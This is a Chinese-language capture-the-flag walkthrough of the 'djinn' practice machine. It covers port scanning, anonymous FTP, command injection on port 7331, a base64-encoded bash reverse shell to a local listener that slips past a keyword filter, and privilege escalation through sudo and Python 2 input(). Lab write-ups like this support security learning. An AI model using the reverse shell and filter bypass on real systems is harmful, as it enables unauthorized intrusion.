前幾天一直在背資料,背的很煩,找個靶機來玩玩.python
<!--more-->linux
第一件事,先找一下主機地址,因爲我在本身的局域網內,我不用掃也知道這臺剛開的主機 ip 是多少...但若是不知道的話,能夠用 nmap 檢測一下,sS 是指用半開放式掃描,不會完成三次握手,速度要快一點shell
sudo nmap -sS 192.168.1.0/24
掃描結果以下瀏覽器
Nmap scan report for djinn (192.168.1.8) Host is up (0.00010s latency). Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
如今拿到了靶機的 ip 地址,能夠開始收集信息了,探測一下開放了哪些端口,先掃一萬個試試,-O 參數可獲取一些系統的指紋信息bash
sudo nmap -sS -O 192.168.1.8 -p1-10000
掃描結果以下ssh
Nmap scan report for djinn (192.168.1.8) Host is up (0.00027s latency). Not shown: 9996 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 1337/tcp open waste 7331/tcp open swx MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
掃出來了四個端口,一個個來,先看 ftp,用匿名登陸試試。用戶名:anonymous
,無密碼.登陸成功.tcp
Name (192.168.1.8:user): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 23:54 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 00:23 game.txt -rw-r--r-- 1 0 0 113 Oct 21 00:23 message.txt 226 Directory send OK.
分別把三個文件下載下來,查看信息ide
mget creds.txt game.txt message.txt cat creds.txt nitu:81299 cat game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. cat message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
game.txt 裏說在 1337 端口有一個遊戲,先訪問一下試試
那再試試 7331 端口,此次有反饋了,爆破一把梭學習
gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
一小會就掃出來兩個目錄測試
/wish (Status: 200) /genie (Status: 200)
訪問一下 wish ,有個輸入參數的地方,輸入 id 試一下,能夠執行命令
如今要想辦法反彈 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1
試試。
報錯 Wrong choice of words
。猜想多是過濾了某些關鍵字,用 base64 編碼看看能不能執行命令.
在 Linux 下生成將命令編碼很簡單:echo "id" | base64
,輸出aWQK
,這就是 id 這個命令編碼以後的結果了,而後再解碼,執行:echo aWQK |base64 -d |bash
。
測試了一下,能夠正常使用 echo,對反彈 shell 命令進行編碼
echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64
在本地監聽 2333 端口nc -lvp 2333
,把反彈命令放到瀏覽器中執行,成功獲取到 shell(我當時測試是監聽的 8899 ,都是同樣的)
這個反彈回來的 shell 有些命令不能執行,好比 su。。。不能切換用戶,因此須要獲取一個 pty。
python -c "import pty;pty.spawn('/bin/bash')"
提權能夠嘗試找一找提權腳原本試試,我沒有用,是慢慢的翻文件的。。。
在 nitish 用戶目錄下有個 user.txt 文件,可是沒有權限打開, sam 用戶目錄直接就沒有權限訪問。
繼續找,在 nitish 下的 .dev 目錄裏有個 creds.txt,輸出一下
cat creds.txt nitish:p4ssw0rdStr3r0n9
password???密碼到手了?切換用戶試試,nice,先看看 nitish 的 flag10aay8289ptgguy1pvfa73alzusyyx3c
尚未拿到 root,還不能停下。
查一下有當前用戶下有哪些命令能夠一 root 執行
來試試這個 genie 是什麼東西,用 man 查一下
能夠作任何想作的事???我直接用 root 用戶執行命令行不行?
沒有權限,還 wish 個屁啊,放低點要求,我換成 sam 試試
能夠,如今是 sam 了,再看一看有哪些能夠以 root 執行的命令
Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
又來一個 /root/lago,再試試
這後面的操做就跟我無關了,看大佬文章了,找到 .pyc 文件,反編譯 pyc,而後是利用 python 的 input。
在 sam 的用戶目錄下有個 .pyc 文件,查看文件能夠知道這是 /root/lago 編譯出來的,對 .pyc 反編譯,而後利用 python2 裏面的 input 特性,只要條件符合,就執行成功,因此直接輸入 num 就行
def guessit(): num = randint(1, 101) print 'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print 'Better Luck next time'
公衆號:沒有夢想的阿巧 後臺回覆 "羣聊",一塊兒學習,一塊兒進步